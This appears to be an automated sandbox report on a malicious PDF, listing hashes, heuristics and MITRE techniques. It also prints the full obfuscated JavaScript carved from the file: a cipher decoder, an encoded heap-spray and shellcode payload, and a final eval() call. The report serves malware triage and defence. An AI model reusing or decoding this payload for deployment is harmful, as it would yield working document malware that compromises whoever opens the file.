PDF malware analysis — malicious · 8cd82c6ba9443a63

MALICIOUS

PDF

9.7 KB Created: 2010-06-17 10:56:48 Authoring application: Ee4Bqjg4G (via bKyv4lEthG2L) First seen: 2026-05-11

MD5: 98c3fd200cf2492b556ee9ba87819299 SHA-1: 2e29dc629163933e8446bedb9e5994a52595ae1b SHA-256: 8cd82c6ba9443a6334796670d14d15c254ce378221358fcd5ef7c358458c88f8

166 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1027 Obfuscated Files or Information

The PDF file contains embedded JavaScript with a high-confidence 'eval()' call, indicating an attempt to execute obfuscated code. This is further supported by the 'Suspicious extracted artifact' heuristic, which flagged script obfuscation indicators. The JavaScript is likely intended to download and execute a second-stage payload, a common technique for malware delivery. No specific family could be identified due to the obfuscation.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

zQY1zj>llU.)2 = ajkIv8{MFM5MNT0q - Hn73mtIiTuWLN>Q,b + ,w9he;\n  mQF RE{ZdIYy,nZSrU66 = 3kNgqQoNH\"%3K,K,%3K,K,\"e;\n  RE{ZdIYy,nZSrU66 = Mzi8uO>6o9KL)l.)HRE{ZdIYy,nZSrU664 b9(zQY1zj>llU.)2e;\n  mQF wJAuoF,WUND<E2bI = HwjrV1Y{j<})ZvM.D - ,w1,,,,,e / ajkIv8{MFM5MNT0q;\n  RuF HmQF 0cy)XNoB0iKOlVsM = ,; 0cy)XNoB0iKOlVsM P wJAuoF,WUND<E2bI; 0cy)XNoB0iKOlVsM ++ ef\n    ZLi<s2,VuE<5rU<([0cy)XNoB0iKOlVsM] = RE{ZdIYy,nZSrU66 + cbUVFr2vI5t}oBsB;\n  x\nx\nR3kq8Yuk TA,SNVj<wkWa>,7KHef\n  mQF tAcan>Wkq<dTK0 …

Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x242	8166 bytes
SHA-256: `43e63f6de20df26f360dadd020f6ac77c557c5c5135979eeb48492779f9f6b47`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s). 55 of 105 identifiers look randomly generated (e.g. 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmn') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script function A8dG5AeRlOfEM5SK(A8dG5AeRlOfEM5SK,POqGZLUAdo) {var ALw146n6RvM1kj0kRz=A8dG5AeRlOfEM5SK. substr (POqGZLUAdo, 1);return ALw146n6RvM1kj0kRz;}/npyHGq\|jwaGlbSYSNV6JmrWd\|AT2NI70yv/function npelMWcGL(d9A7qreaDNeS3OCmyz1) {/ActeOKl0l4O4Ij0RMioq\|k9tyIrp7co24XWJh79\|AODAy4S/var FfXkGk7jqIdJIdHz = new String("<>(){} .,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");/d6rUh[EVzvAxOopICBRj9R]Agx1VrJWKGEfnvj9//V9XjoCrrE9RERA\|yxxJf7gqDkLrVvq6GqU\|UXXBcXTgpTbdGPn/var mQOzuht /MJSQud7GOnDVTX[ovZqN]AtbTL5aaiCnsU4dy2/= new String("PCHefx G4ZU>a)yEtVIMd0c2iznbvB5(7OLQTq6NRXWYprjAkuo<Fg83mJw}l,sD91S{.hK");/DgmYzAaewzL9mL\|Ee495Vi79QS3tGvT\|R6iH78m/for(kWxZNffs2GzcDYIM1SVU=0;kWxZNffs2GzcDYIM1SVU<FfXkGk7jqIdJIdHz.length;kWxZNffs2GzcDYIM1SVU++) {if(d9A7qreaDNeS3OCmyz1 == A8dG5AeRlOfEM5SK(mQOzuht, kWxZNffs2GzcDYIM1SVU)) {/yxta8cedWeYsCWrT[lDuWX4oTcwRbYBP]upLMKojp/return A8dG5AeRlOfEM5SK(FfXkGk7jqIdJIdHz, kWxZNffs2GzcDYIM1SVU);/RrZ9B <kEz7bt]vMYDowE39yjKBu/}}return d9A7qreaDNeS3OCmyz1;}/kZ22HS2IWcMMao5CaI[dwNhpMWPWX9]AZE1gXto//L16lg2n6AEawR8ce\|s0ssCrHHin\|RSOdJKFpCtmD/var QJjHHDODDsUo70sKwB = new String;var IQjyW9Ar9d = new String("\nmQF ZLi<s2,VuE<5rU<( = kNJ ZFFQ}He;\nmQF 3a,<w{aO8<Ym3IsO;\nR3kq8Yuk Mzi8uO>6o9KL)l.)HRE{ZdIYy,nZSrU664 b9(zQY1zj>llU.)2ef\n JWYjN HRE{ZdIYy,nZSrU66GjNkX8W * D P b9(zQY1zj>llU.)2ef\n RE{ZdIYy,nZSrU66 += RE{ZdIYy,nZSrU66;\n x\n RE{ZdIYy,nZSrU66 = RE{ZdIYy,nZSrU66Gg3Tg8FYkXH,4 b9(zQY1zj>llU.)2 / De;\n FN83Fk RE{ZdIYy,nZSrU66;\nx\nR3kq8Yuk qMLY6twkYKgbI5{mHYqd,diL.qO.kRM>9ef\n mQF wjrV1Y{j<})ZvM.D = ,w,q,q,q,q;\n mQF cbUVFr2vI5t}oBsB = 3kNgqQoNH\"%31919%31919%31919%3,y)U%399SU%3{{>K%3h,UK%3h,,s%3)y99%3)D19%3)UyZ%3)h,S%3yy)>%3yyyy%3hU.y%3ay1)%3)y)y%3{1)y%3)9Zy%3Ky{1%31Dy9%3Ky{1%3{)).%3)y,9%3)y)U%3{1)y%3UK,9%3{sh.%3)sZs%3,.,9%3)yss%3)y)y%3ZZ{{%3UK)U%3..h.%3{Sss%3,.)s%3)ysy%3)y)y%3ZZ{{%3UK).%3>Zh.%3s,Sy%3,.Da%3)y,a%3)y)y%3ZZ{{%3UK)9%3,,h.%3,yDs%3,.hy%3)y9U%3)y)y%3ZZ{{%3UKyy%3D)h.%3,ZK{%3,.S.%3)yDK%3)y)y%3ZZ{{%3ZyyU%3a.{y%3KZD>%3{{sS%3y.ZZ%3)h,{%3)y))%3Us)y%3KZ{{%3{1>U%3)UZZ%3))hS%3{1U{%3y.UZ%3,.UK%3)y{1%3)y)y%3h.Uy%3ySaK%3Ky>,%3.h,.%3)y)y%3{{)y%3y9ZZ%3DZ{1%3Dy{>%3{{Uy%3>yZZ%3s,h.%3)y)y%3Uy)y%3ZZ{1%3hSyU%3U{)a%3UZ{1%3,.y.%3)yh)%3)y)y%3ZZ)>%3Dh>y%3U9)y%3>sKs%3DhhZ%3)UZy%3hZK.%3)y)y%3KZs,%3{1>y%3)9ZZ%3))hS%3{1U{%3y.UZ%3Zy,.%3)y)y%3hS)y%3U.)h%3ZZ)>%3a>>U%3U>91%3s,U>%3>yKZ%3U>Uy%3ZZ{1%3hSy9%3U{)Z%3UZ{1%3,.y.%3)y>>%3)y)y%3)yhS%3KZs,%3{1>y%3).ZZ%3)ahS%3{1U{%3y.UZ%3yy,.%3)y)y%3hS)y%3{1s,%3yyZZ%3))hS%3{1U{%3y.UZ%3)y,.%3)y)y%3Z))y%3UaU1%3,))>%3,))>%3,))>%3,))>%3,9{>%3US)U%3{1U>%3,a9S%3Uash%3,ys,%3{1UZ%3{1,9%3).KD%3UD{1%3UK)9%3K>{1%3{1a9%3ysKU%3)>K.%3UKs>%3KK{1%3)>>y%3a>s>%3Z{D{%31DZ)%3D>)>%3a>UK%3),sK%3yySs%3saaS%3).KU%3DsD)%3)>)D%3Zysa%3s),1%3ssa1%3KZUs%3US,Z%3,1{1%3US{1%3)>>U%3hK9D%3)9{1%3{1Z1%3y9US%39D)>%3)U{1%3)>{1%3UsDZ%3DaUD%3)y).%3sU,.%3s,ss%3UZs,%3Z9Ua%3Z,ZD%3)yZs%3.1{h%3.,.1%3Dy9Z%3{1Dy%3{a9,%39s{s%3.9{)%3{KD)%3{{{)%3Dy{y%3{>{D%3{.{y%3{>Dy%3{s{y%3D){1%3{h.,%39y.,%3{1{K%39K9a%3,,9h\"e;\n YR HYqd,diL.qO.kRM>9 == sef\n wjrV1Y{j<})ZvM.D = ,w9,9,9,9,;\n cbUVFr2vI5t}oBsB = 3kNgqQoNH\"%31919%31919%31919%3,y)U%399SU%3{{>K%3h,UK%3h,,s%3)y99%3)D19%3)UyZ%3)h,S%3yy)>%3yyyy%3hU.y%3ay1)%3)y)y%3{1)y%3)9Zy%3Ky{1%31Dy9%3Ky{1%3{)).%3)y,9%3)y)U%3{1)y%3UK,9%3{sh.%3)sZs%3,.,9%3)yss%3)y)y%3ZZ{{%3UK)U%3..h.%3{Sss%3,.)s%3)ysy%3)y)y%3ZZ{{%3UK).%3>Zh.%3s,Sy%3,.Da%3)y,a%3)y)y%3ZZ{{%3UK)9%3,,h.%3,yDs%3,.hy%3)y9U%3)y)y%3ZZ{{%3UKyy%3D)h.%3,ZK{%3,.S.%3)yDK%3)y)y%3ZZ{{%3ZyyU%3a.{y%3KZD>%3{{sS%3y.ZZ%3)h,{%3)y))%3Us)y%3KZ{{%3{1>U%3)UZZ%3))hS%3{1U{%3y.UZ%3,.UK%3)y{1%3)y)y%3h.Uy%3ySaK%3Ky>,%3.h,.%3)y)y%3{{)y%3y9ZZ%3DZ{1%3Dy{>%3{{Uy%3>yZZ%3s,h.%3)y)y%3Uy)y%3ZZ{1%3hSyU%3U{)a%3UZ{1%3,.y.%3)yh)%3)y)y%3ZZ)>%3Dh>y%3U9)y%3>sKs%3DhhZ%3)UZy%3hZK.%3)y)y%3KZs,%3{1>y%3)9ZZ%3))hS%3{1U{%3y.UZ%3Zy,.%3)y)y%3hS)y%3U.)h%3ZZ)>%3a>>U%3U>91%3s,U>%3>yKZ%3U>Uy%3ZZ{1%3hSy9%3U{)Z%3UZ{1%3,.y.%3)y>>%3)y)y%3)yhS%3KZs,%3{1>y%3).ZZ%3)ahS%3{1U{%3y.UZ%3yy,.%3)y)y%3hS)y%3{1s,%3yyZZ%3))hS%3{1U{%3y.UZ%3)y,.%3)y)y%3Z))y%3UaU1%3,))>%3,))>%3,))>%3,))>%3,9{>%3US)U%3{1U>%3,a9S%3Uash%3,ys,%3{1UZ%3{1,9%3).KD%3UD{1%3UK)9%3K>{1%3{1a9%3ysKU%3)>K.%3UKs>%3KK{1%3)>>y%3a>s>%3Z{D{%31DZ)%3D>)>%3a>UK%3),sK%3yySs%3saaS%3).KU%3DsD)%3)>)D%3Zysa%3s),1%3ssa1%3KZUs%3US,Z%3,1{1%3US{1%3)>>U%3hK9D%3)9{1%3{1Z1%3y9US%39D)>%3)U{1%3)>{1%3UsDZ%3DaUD%3)y).%3sU,.%3s,ss%3UZs,%3Z9Ua%3Z,ZD%3)yZs%3.1{h%3.,.1%3Dy9Z%3{1Dy%3{a9,%39s{s%3.9{)%3{KD)%3{{{)%3Dy{y%3{>{D%3{.{y%3{>Dy%3{s{y%3D){1%3{h.,%39y.,%3{1{K%39K9a%3,,9h\"e;\n x\n NjgN YR HYqd,diL.qO.kRM>9 == Def\n cbUVFr2vI5t}oBsB = 3kNgqQoNH\"%31919%31919%31919%3,y)U%399SU%3{{>K%3h,UK%3h,,s%3)y99%3)D19%3)UyZ%3)h,S%3yy)>%3yyyy%3hU.y%3ay1)%3)y)y%3{1)y%3)9Zy%3Ky{1%31Dy9%3Ky{1%3{)).%3)y,9%3)y)U%3{1)y%3UK,9%3{sh.%3)sZs%3,.,9%3)yss%3)y)y%3ZZ{{%3UK)U%3..h.%3{Sss%3,.)s%3)ysy%3)y)y%3ZZ{{%3UK).%3>Zh.%3s,Sy%3,.Da%3)y,a%3)y)y%3ZZ{{%3UK)9%3,,h.%3,yDs%3,.hy%3)y9U%3)y)y%3ZZ{{%3UKyy%3D)h.%3,ZK{%3,.S.%3)yDK%3)y)y%3ZZ{{%3ZyyU%3a.{y%3KZD>%3{{sS%3y.ZZ%3)h,{%3)y))%3Us)y%3KZ{{%3{1>U%3)UZZ%3))hS%3{1U{%3y.UZ%3,.UK%3)y{1%3)y)y%3h.Uy%3ySaK%3Ky>,%3.h,.%3)y)y%3{{)y%3y9ZZ%3DZ{1%3Dy{>%3{{Uy%3>yZZ%3s,h.%3)y)y%3Uy)y%3ZZ{1%3hSyU%3U{)a%3UZ{1%3,.y.%3)yh)%3)y)y%3ZZ)>%3Dh>y%3U9)y%3>sKs%3DhhZ%3)UZy%3hZK.%3)y)y%3KZs,%3{1>y%3)9ZZ%3))hS%3{1U{%3y.UZ%3Zy,.%3)y)y%3hS)y%3U.)h%3ZZ)>%3a>>U%3U>91%3s,U>%3>yKZ%3U>Uy%3ZZ{1%3hSy9%3U{)Z%3UZ{1%3,.y.%3)y>>%3)y)y%3)yhS%3KZs,%3{1>y%3).ZZ%3)ahS%3{1U{%3y.UZ%3yy,.%3)y)y%3hS)y%3{1s,%3yyZZ%3))hS%3{1U{%3y.UZ%3)y,.%3)y)y%3Z))y%3UaU1%3,))>%3,))>%3,))>%3,))>%3,9{>%3US)U%3{1U>%3,a9S%3Uash%3,ys,%3{1UZ%3{1,9%3).KD%3UD{1%3UK)9%3K>{1%3{1a9%3ysKU%3)>K.%3UKs>%3KK{1%3)>>y%3a>s>%3Z{D{%31DZ)%3D>)>%3a>UK%3),sK%3yySs%3saaS%3).KU%3DsD)%3)>)D%3Zysa%3s),1%3ssa1%3KZUs%3US,Z%3,1{1%3US{1%3)>>U%3hK9D%3)9{1%3{1Z1%3y9US%39D)>%3)U{1%3)>{1%3UsDZ%3DaUD%3)y).%3sU,.%3s,ss%3UZs,%3Z9Ua%3Z,ZD%3)yZs%3.1{h%3.,.1%3Dy9Z%3{1Dy%3{a9,%39s{s%3.9{)%3{KD)%3{{{)%3Dy{y%3{>{D%3{.{y%3{>Dy%3{s{y%3D){1%3{h.,%39y.,%3{1{K%39K9a%3,,9h\"e;\n x\n mQF ajkIv8{MFM5MNT0q = ,w1,,,,,;\n mQF n73mtIiTuWLN>Q,b = cbUVFr2vI5t}oBsBGjNkX8W * D;\n mQF b9(zQY1zj>llU.)2 = ajkIv8{MFM5MNT0q - Hn73mtIiTuWLN>Q,b + ,w9he;\n mQF RE{ZdIYy,nZSrU66 = 3kNgqQoNH\"%3K,K,%3K,K,\"e;\n RE{ZdIYy,nZSrU66 = Mzi8uO>6o9KL)l.)HRE{ZdIYy,nZSrU664 b9(zQY1zj>llU.)2e;\n mQF wJAuoF,WUND<E2bI = HwjrV1Y{j<})ZvM.D - ,w1,,,,,e / ajkIv8{MFM5MNT0q;\n RuF HmQF 0cy)XNoB0iKOlVsM = ,; 0cy)XNoB0iKOlVsM P wJAuoF,WUND<E2bI; 0cy)XNoB0iKOlVsM ++ ef\n ZLi<s2,VuE<5rU<([0cy)XNoB0iKOlVsM] = RE{ZdIYy,nZSrU66 + cbUVFr2vI5t}oBsB;\n x\nx\nR3kq8Yuk TA,SNVj<wkWa>,7KHef\n mQF tAcan>Wkq<dTK0mc = ,;\n mQF 8{bkc)NdDdO)5{0D = QooGmYNJNF5NFgYukG8ub8FYkXHe;\n QooGqjNQFvYAN238H3a,<w{aO8<Ym3IsOe;\n\n YR H8{bkc)NdDdO)5{0D P .Gsef\n qMLY6twkYKgbI5{mH,e;\n mQF IryIww.LkbZJu.Mw = 3kNgqQoNH\"%3,q,q%3,q,q\"e;\n JWYjN HIryIww.LkbZJu.MwGjNkX8W P 11KSDeIryIww.LkbZJu.Mw += IryIww.LkbZJu.Mw;\n 8WYg GqujjQTb8uFN = >ujjQTGqujjNq8)AQYjVkRuHf\n g3Tp : \"\"4 AgX : IryIww.LkbZJu.Mw\n x\n e;\n x\nYR H8{bkc)NdDdO)5{0D C= Kef\n 8F} f\nYR HQooG6uqG>ujjQTGXN8Vqukef\n qMLY6twkYKgbI5{mHDe;\n mQF BAjLsz39jbEEO6Vz = 3kNgqQoNH\"%,K\"e;\n JWYjN HBAjLsz39jbEEO6VzGjNkX8W P ,w1,,,eBAjLsz39jbEEO6Vz += BAjLsz39jbEEO6Vz;\n BAjLsz39jbEEO6Vz = \"cG\" + BAjLsz39jbEEO6Vz;\nQooG6uqG>ujjQTGXN8VqukHBAjLsz39jbEEO6Vze;\n tAcan>Wkq<dTK0mc = s;\n x\n NjgN f\n tAcan>Wkq<dTK0mc = s;\n x\n x\n qQ8qW HNef\n tAcan>Wkq<dTK0mc = s;\n x\n YR HtAcan>Wkq<dTK0mc == sef\n YR HH8{bkc)NdDdO)5{0D C= .Gs&& 8{bkc)NdDdO)5{0D P Keef\n qMLY6twkYKgbI5{mHse;\n mQF b7pdBo3Vt{y.ULSc = \"sDKKKKKKKKKKKKKKKKKK\";\n RuF HE<JcEFiDMXVgIQIW = ,; E<JcEFiDMXVgIQIW P D.{; E<JcEFiDMXVgIQIW ++ ef\n b7pdBo3Vt{y.ULSc += \"h\";\n x\n 38YjGoFYk8RH\"%1S,,,R\"4 b7pdBo3Vt{y.ULSce;\n x\n x\n x\nx\nQooGI91qgwmZ9Zt)pdT. = TA,SNVj<wkWa>,7K;\n3a,<w{aO8<Ym3IsO = QooGgN8vYAN238H\"QooGI91qgwmZ9Zt)pdT.He\"4 s,e;\n");/CzFBSjWAZEscw0jUe{mwTF6d}mg3OjrR//wTsVptvtcOf\|x0w2ciLhe\|sGMmVwTnLF64aln/for(Auea2mdGqh=0;Auea2mdGqh<IQjyW9Ar9d.length;Auea2mdGqh++)QJjHHDODDsUo70sKwB += npelMWcGL(A8dG5AeRlOfEM5SK(IQjyW9Ar9d,Auea2mdGqh));eval(QJjHHDODDsUo70sKwB);/VFa1XOrK[KsSrN7]UJCq6VTHbQC/

Open this report in the interactive analyzer, or submit your own file for analysis.